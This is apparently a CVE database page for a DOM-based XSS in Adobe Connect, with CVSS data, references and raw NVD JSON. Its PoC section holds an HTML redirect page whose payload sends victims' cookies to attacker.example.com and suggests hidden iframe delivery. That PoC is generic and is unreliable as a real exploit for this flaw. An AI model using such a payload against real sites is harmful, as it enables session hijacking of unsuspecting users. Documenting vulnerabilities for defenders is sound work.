CVE-2025-49553

Description

Adobe Connect versions 12.9 and earlier are affected by a DOM-based Cross-Site Scripting (XSS) vulnerability that could be exploited by an attacker to execute malicious scripts in a victim's browser. Exploitation of this issue requires user interaction in that a victim must navigate to a crafted web page. A successful attacker can abuse this to achieve session takeover, increasing the confidentiality and integrity impact as high. Scope is changed.

CVSS Details

CVSS Score

9.3

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:adobe:connect:*:*:*:*:*:-:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Adobe Connect <= 12.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2025-49553 - Adobe Connect DOM-based XSS
The malicious payload is delivered via URL fragment (location.hash)
and executed when Adobe Connect's client-side JS writes it to the DOM.
-->

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CVE-2025-49553 PoC</title>
</head>
<body>
    <h1>CVE-2025-49553 - Adobe Connect DOM-based XSS PoC</h1>
    <!--
        Step 1: Attacker hosts this page or sends the malicious URL directly.
        Step 2: Victim is lured to click the crafted Adobe Connect URL.
        Step 3: The JS below auto-redirects the victim to the vulnerable
                Adobe Connect endpoint with a malicious fragment payload.
    -->
    <script>
        // Target Adobe Connect instance (replace with actual host)
        var target = "https://vulnerable-connect.example.com/";

        // Malicious payload executed in victim's browser context
        // Demonstrates session cookie theft / arbitrary JS execution
        var payload = "<img src=x onerror=\"" +
            "var d=document,s=d.createElement('script');" +
            "s.src='https://attacker.example.com/steal?c='+encodeURIComponent(d.cookie);" +
            "d.body.appendChild(s);" +
            "\">";

        // Encode and append as URL fragment to trigger DOM-based XSS
        var maliciousUrl = target + "#" + encodeURIComponent(payload);

        // Auto-redirect victim to the crafted URL
        window.location.href = maliciousUrl;

        // Alternative: direct iframe-based delivery
        // document.write('<iframe src="' + maliciousUrl + '" width="0" height="0"></iframe>');
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49553
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49553
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49553/
[4] VulDB https://vuldb.com/cve/CVE-2025-49553
[5] https://helpx.adobe.com/security/products/connect/apsb25-70.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-49553", "sourceIdentifier": "[email protected]", "published": "2025-10-14T22:15:37.860", "lastModified": "2025-10-17T14:59:03.537", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Connect versions 12.9 and earlier are affected by a DOM-based Cross-Site Scripting (XSS) vulnerability that could be exploited by an attacker to execute malicious scripts in a victim's browser. Exploitation of this issue requires user interaction in that a victim must navigate to a crafted web page. A successful attacker can abuse this to achieve session takeover, increasing the confidentiality and integrity impact as high. Scope is changed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:connect:*:*:*:*:*:-:*:*", "versionEndExcluding": "12.10", "matchCriteriaId": "FE8202C5-1060-4C83-B5D6-ECB75864C63F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/connect/apsb25-70.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}